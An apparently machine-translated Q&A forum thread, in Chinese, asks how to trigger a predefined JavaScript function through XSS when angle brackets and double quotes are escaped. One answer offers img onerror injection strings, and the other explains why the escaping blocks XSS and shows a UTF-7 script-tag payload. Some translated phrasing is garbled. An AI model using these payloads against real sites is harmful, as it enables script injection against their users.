xss绕过尖括号和双引号转义

Question

说我想恶意地调用已经定义的函数myfunc（）。

如何绕过双引号和尖括号转义来实现xss攻击？

<h2>Profile of INPUTNAME</h2><p>INPUT2</p><a href="INPUTURL">Homepage</a> 

（上盒领域是用户输入） 我怎么能叫MYFUNC（）不增加它周围的脚本标记？

Answer 1

你可以试试这些注射

INPUTNAME=<img src=X onerror=myfunc> 
INPUTURL="><img src=X onerror=myfunc> 

将尝试调用MYFUNC javascript函数，因为它将无法加载名为X

Answer 2

（UN）的图像幸运似乎XSS不会在这种情况下是可能的。

如果尖括号和双引号字符被转义，这足以阻止HTML正文中的XSS和双引号实体值上下文。

从技术上讲，对于HTML正文XSS Experimental Minimal Encoding Rules，&字符也应该被编码，但我不能在这里看到一种方法来将它用于HTML正文或​​实体值中的攻击者的优势。

唯一的例外是如果该字符集被指定为UTF-7 (or as the attacker you could change it to such) then you could use the following attack：

INPUTNAME = +ADw-script+AD4-myfunc()+ADw-/script+AD4- 

这将被渲染为

<h2>Profile of <script>myfunc()</script></h2><p>INPUT2</p><a href="http://example.com">Homepage</a>